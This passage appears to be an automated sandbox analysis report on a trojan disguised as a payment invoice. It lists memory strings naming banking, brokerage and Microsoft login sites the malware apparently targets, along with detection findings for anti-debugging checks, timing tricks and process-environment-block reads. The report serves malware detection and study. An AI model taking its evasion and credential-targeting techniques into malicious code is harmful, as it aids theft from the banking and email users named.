Source: 56Q8T4H.6.dr Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 56Q8T4H.6.dr Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 56Q8T4H.6.dr Binary or memory string: global block list test formVMware20,11696428655
Source: xcopy.exe, 00000006.00000002.3915201437.0000000007B65000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Eivebrokers.comVMware20,11696428655
Source: 56Q8T4H.6.dr Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: 56Q8T4H.6.dr Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 56Q8T4H.6.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 56Q8T4H.6.dr Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: xcopy.exe, 00000006.00000002.3915201437.0000000007B65000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: outlook.office365.comVMware20T>
Source: xcopy.exe, 00000006.00000002.3915201437.0000000007B65000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: look.office.comVMware20,11696428655s
Source: 56Q8T4H.6.dr Binary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
Source: 56Q8T4H.6.dr Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: xcopy.exe, 00000006.00000002.3915201437.0000000007B65000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ivebrokers.comVMware20,11696428655
Source: 56Q8T4H.6.dr Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 56Q8T4H.6.dr Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 56Q8T4H.6.dr Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 56Q8T4H.6.dr Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: cJjnESPXORw.exe, 00000005.00000002.3912099278.0000000000B17000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000006.00000002.3911641445.00000000029C4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000008.00000002.2707114710.000001A10989C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 56Q8T4H.6.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 56Q8T4H.6.dr Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 56Q8T4H.6.dr Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 56Q8T4H.6.dr Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: xcopy.exe, 00000006.00000002.3915201437.0000000007B65000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: soft.com/profileVMware20,11696428655u
Source: 56Q8T4H.6.dr Binary or memory string: AMC password management pageVMware20,11696428655
Source: xcopy.exe, 00000006.00000002.3915201437.0000000007B65000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ive Brokers - NDCDYNVMware20,11696428655z
Source: 56Q8T4H.6.dr Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 56Q8T4H.6.dr Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 56Q8T4H.6.dr Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 56Q8T4H.6.dr Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 56Q8T4H.6.dr Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 56Q8T4H.6.dr Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 56Q8T4H.6.dr Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: xcopy.exe, 00000006.00000002.3915201437.0000000007B65000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ivebrokers.co.inVMware20,11696428655~
Source: xcopy.exe, 00000006.00000002.3915201437.0000000007B65000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20
Source: 56Q8T4H.6.dr Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 56Q8T4H.6.dr Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 56Q8T4H.6.dr Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: xcopy.exe, 00000006.00000002.3915201437.0000000007B65000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: EU WestVMware20,11696428655n
Source: 56Q8T4H.6.dr Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0102096E rdtsc 3_2_0102096E
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_004175C3 LdrLoadDll, 3_2_004175C3
Contains functionality to read the PEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108E10E mov eax, dword ptr fs:[00000030h] 3_2_0108E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108E10E mov ecx, dword ptr fs:[00000030h] 3_2_0108E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108E10E mov eax, dword ptr fs:[00000030h] 3_2_0108E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108E10E mov eax, dword ptr fs:[00000030h] 3_2_0108E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108E10E mov ecx, dword ptr fs:[00000030h] 3_2_0108E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108E10E mov eax, dword ptr fs:[00000030h] 3_2_0108E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108E10E mov eax, dword ptr fs:[00000030h] 3_2_0108E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108E10E mov ecx, dword ptr fs:[00000030h] 3_2_0108E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108E10E mov eax, dword ptr fs:[00000030h] 3_2_0108E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108E10E mov ecx, dword ptr fs:[00000030h] 3_2_0108E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FDC0F0 mov eax, dword ptr fs:[00000030h] 3_2_00FDC0F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108A118 mov ecx, dword ptr fs:[00000030h] 3_2_0108A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108A118 mov eax, dword ptr fs:[00000030h] 3_2_0108A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108A118 mov eax, dword ptr fs:[00000030h] 3_2_0108A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108A118 mov eax, dword ptr fs:[00000030h] 3_2_0108A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE80E9 mov eax, dword ptr fs:[00000030h] 3_2_00FE80E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FDA0E3 mov ecx, dword ptr fs:[00000030h] 3_2_00FDA0E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010A0115 mov eax, dword ptr fs:[00000030h] 3_2_010A0115
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01010124 mov eax, dword ptr fs:[00000030h] 3_2_01010124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01074144 mov eax, dword ptr fs:[00000030h] 3_2_01074144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01074144 mov eax, dword ptr fs:[00000030h] 3_2_01074144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01074144 mov ecx, dword ptr fs:[00000030h] 3_2_01074144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01074144 mov eax, dword ptr fs:[00000030h] 3_2_01074144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01074144 mov eax, dword ptr fs:[00000030h] 3_2_01074144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01078158 mov eax, dword ptr fs:[00000030h] 3_2_01078158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE208A mov eax, dword ptr fs:[00000030h] 3_2_00FE208A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0109C188 mov eax, dword ptr fs:[00000030h] 3_2_0109C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0109C188 mov eax, dword ptr fs:[00000030h] 3_2_0109C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01020185 mov eax, dword ptr fs:[00000030h] 3_2_01020185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01084180 mov eax, dword ptr fs:[00000030h] 3_2_01084180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01084180 mov eax, dword ptr fs:[00000030h] 3_2_01084180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106019F mov eax, dword ptr fs:[00000030h] 3_2_0106019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106019F mov eax, dword ptr fs:[00000030h] 3_2_0106019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106019F mov eax, dword ptr fs:[00000030h] 3_2_0106019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106019F mov eax, dword ptr fs:[00000030h] 3_2_0106019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE2050 mov eax, dword ptr fs:[00000030h] 3_2_00FE2050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010A61C3 mov eax, dword ptr fs:[00000030h] 3_2_010A61C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010A61C3 mov eax, dword ptr fs:[00000030h] 3_2_010A61C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105E1D0 mov eax, dword ptr fs:[00000030h] 3_2_0105E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105E1D0 mov eax, dword ptr fs:[00000030h] 3_2_0105E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105E1D0 mov ecx, dword ptr fs:[00000030h] 3_2_0105E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105E1D0 mov eax, dword ptr fs:[00000030h] 3_2_0105E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105E1D0 mov eax, dword ptr fs:[00000030h] 3_2_0105E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FDA020 mov eax, dword ptr fs:[00000030h] 3_2_00FDA020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FDC020 mov eax, dword ptr fs:[00000030h] 3_2_00FDC020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FFE016 mov eax, dword ptr fs:[00000030h] 3_2_00FFE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FFE016 mov eax, dword ptr fs:[00000030h] 3_2_00FFE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FFE016 mov eax, dword ptr fs:[00000030h] 3_2_00FFE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FFE016 mov eax, dword ptr fs:[00000030h] 3_2_00FFE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010B61E5 mov eax, dword ptr fs:[00000030h] 3_2_010B61E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010101F8 mov eax, dword ptr fs:[00000030h] 3_2_010101F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01064000 mov ecx, dword ptr fs:[00000030h] 3_2_01064000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01082000 mov eax, dword ptr fs:[00000030h] 3_2_01082000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01082000 mov eax, dword ptr fs:[00000030h] 3_2_01082000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01082000 mov eax, dword ptr fs:[00000030h] 3_2_01082000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01082000 mov eax, dword ptr fs:[00000030h] 3_2_01082000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01082000 mov eax, dword ptr fs:[00000030h] 3_2_01082000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01082000 mov eax, dword ptr fs:[00000030h] 3_2_01082000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01082000 mov eax, dword ptr fs:[00000030h] 3_2_01082000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01082000 mov eax, dword ptr fs:[00000030h] 3_2_01082000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01076030 mov eax, dword ptr fs:[00000030h] 3_2_01076030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01066050 mov eax, dword ptr fs:[00000030h] 3_2_01066050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FDA197 mov eax, dword ptr fs:[00000030h] 3_2_00FDA197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FDA197 mov eax, dword ptr fs:[00000030h] 3_2_00FDA197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FDA197 mov eax, dword ptr fs:[00000030h] 3_2_00FDA197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100C073 mov eax, dword ptr fs:[00000030h] 3_2_0100C073
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE6154 mov eax, dword ptr fs:[00000030h] 3_2_00FE6154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE6154 mov eax, dword ptr fs:[00000030h] 3_2_00FE6154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FDC156 mov eax, dword ptr fs:[00000030h] 3_2_00FDC156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010780A8 mov eax, dword ptr fs:[00000030h] 3_2_010780A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010A60B8 mov eax, dword ptr fs:[00000030h] 3_2_010A60B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010A60B8 mov ecx, dword ptr fs:[00000030h] 3_2_010A60B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010620DE mov eax, dword ptr fs:[00000030h] 3_2_010620DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010660E0 mov eax, dword ptr fs:[00000030h] 3_2_010660E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010220F0 mov ecx, dword ptr fs:[00000030h] 3_2_010220F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101A30B mov eax, dword ptr fs:[00000030h] 3_2_0101A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101A30B mov eax, dword ptr fs:[00000030h] 3_2_0101A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101A30B mov eax, dword ptr fs:[00000030h] 3_2_0101A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01000310 mov ecx, dword ptr fs:[00000030h] 3_2_01000310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF02E1 mov eax, dword ptr fs:[00000030h] 3_2_00FF02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF02E1 mov eax, dword ptr fs:[00000030h] 3_2_00FF02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF02E1 mov eax, dword ptr fs:[00000030h] 3_2_00FF02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEA2C3 mov eax, dword ptr fs:[00000030h] 3_2_00FEA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEA2C3 mov eax, dword ptr fs:[00000030h] 3_2_00FEA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEA2C3 mov eax, dword ptr fs:[00000030h] 3_2_00FEA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEA2C3 mov eax, dword ptr fs:[00000030h] 3_2_00FEA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEA2C3 mov eax, dword ptr fs:[00000030h] 3_2_00FEA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01062349 mov eax, dword ptr fs:[00000030h] 3_2_01062349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01062349 mov eax, dword ptr fs:[00000030h] 3_2_01062349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01062349 mov eax, dword ptr fs:[00000030h] 3_2_01062349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01062349 mov eax, dword ptr fs:[00000030h] 3_2_01062349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01062349 mov eax, dword ptr fs:[00000030h] 3_2_01062349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01062349 mov eax, dword ptr fs:[00000030h] 3_2_01062349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01062349 mov eax, dword ptr fs:[00000030h] 3_2_01062349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01062349 mov eax, dword ptr fs:[00000030h] 3_2_01062349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01062349 mov eax, dword ptr fs:[00000030h] 3_2_01062349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01062349 mov eax, dword ptr fs:[00000030h] 3_2_01062349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01062349 mov eax, dword ptr fs:[00000030h] 3_2_01062349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01062349 mov eax, dword ptr fs:[00000030h] 3_2_01062349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01062349 mov eax, dword ptr fs:[00000030h] 3_2_01062349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01062349 mov eax, dword ptr fs:[00000030h] 3_2_01062349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01062349 mov eax, dword ptr fs:[00000030h] 3_2_01062349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010AA352 mov eax, dword ptr fs:[00000030h] 3_2_010AA352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01088350 mov ecx, dword ptr fs:[00000030h] 3_2_01088350
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106035C mov eax, dword ptr fs:[00000030h] 3_2_0106035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106035C mov eax, dword ptr fs:[00000030h] 3_2_0106035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106035C mov eax, dword ptr fs:[00000030h] 3_2_0106035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106035C mov ecx, dword ptr fs:[00000030h] 3_2_0106035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106035C mov eax, dword ptr fs:[00000030h] 3_2_0106035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106035C mov eax, dword ptr fs:[00000030h] 3_2_0106035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF02A0 mov eax, dword ptr fs:[00000030h] 3_2_00FF02A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF02A0 mov eax, dword ptr fs:[00000030h] 3_2_00FF02A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108437C mov eax, dword ptr fs:[00000030h] 3_2_0108437C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100438F mov eax, dword ptr fs:[00000030h] 3_2_0100438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100438F mov eax, dword ptr fs:[00000030h] 3_2_0100438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FD826B mov eax, dword ptr fs:[00000030h] 3_2_00FD826B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE4260 mov eax, dword ptr fs:[00000030h] 3_2_00FE4260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE4260 mov eax, dword ptr fs:[00000030h] 3_2_00FE4260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE4260 mov eax, dword ptr fs:[00000030h] 3_2_00FE4260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE6259 mov eax, dword ptr fs:[00000030h] 3_2_00FE6259
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FDA250 mov eax, dword ptr fs:[00000030h] 3_2_00FDA250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0109C3CD mov eax, dword ptr fs:[00000030h] 3_2_0109C3CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FD823B mov eax, dword ptr fs:[00000030h] 3_2_00FD823B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010663C0 mov eax, dword ptr fs:[00000030h] 3_2_010663C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108E3DB mov eax, dword ptr fs:[00000030h] 3_2_0108E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108E3DB mov eax, dword ptr fs:[00000030h] 3_2_0108E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108E3DB mov ecx, dword ptr fs:[00000030h] 3_2_0108E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108E3DB mov eax, dword ptr fs:[00000030h] 3_2_0108E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010843D4 mov eax, dword ptr fs:[00000030h] 3_2_010843D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010843D4 mov eax, dword ptr fs:[00000030h] 3_2_010843D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010163FF mov eax, dword ptr fs:[00000030h] 3_2_010163FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FFE3F0 mov eax, dword ptr fs:[00000030h] 3_2_00FFE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FFE3F0 mov eax, dword ptr fs:[00000030h] 3_2_00FFE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FFE3F0 mov eax, dword ptr fs:[00000030h] 3_2_00FFE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF03E9 mov eax, dword ptr fs:[00000030h] 3_2_00FF03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF03E9 mov eax, dword ptr fs:[00000030h] 3_2_00FF03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF03E9 mov eax, dword ptr fs:[00000030h] 3_2_00FF03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF03E9 mov eax, dword ptr fs:[00000030h] 3_2_00FF03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF03E9 mov eax, dword ptr fs:[00000030h] 3_2_00FF03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF03E9 mov eax, dword ptr fs:[00000030h] 3_2_00FF03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF03E9 mov eax, dword ptr fs:[00000030h] 3_2_00FF03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF03E9 mov eax, dword ptr fs:[00000030h] 3_2_00FF03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE83C0 mov eax, dword ptr fs:[00000030h] 3_2_00FE83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE83C0 mov eax, dword ptr fs:[00000030h] 3_2_00FE83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE83C0 mov eax, dword ptr fs:[00000030h] 3_2_00FE83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE83C0 mov eax, dword ptr fs:[00000030h] 3_2_00FE83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEA3C0 mov eax, dword ptr fs:[00000030h] 3_2_00FEA3C0
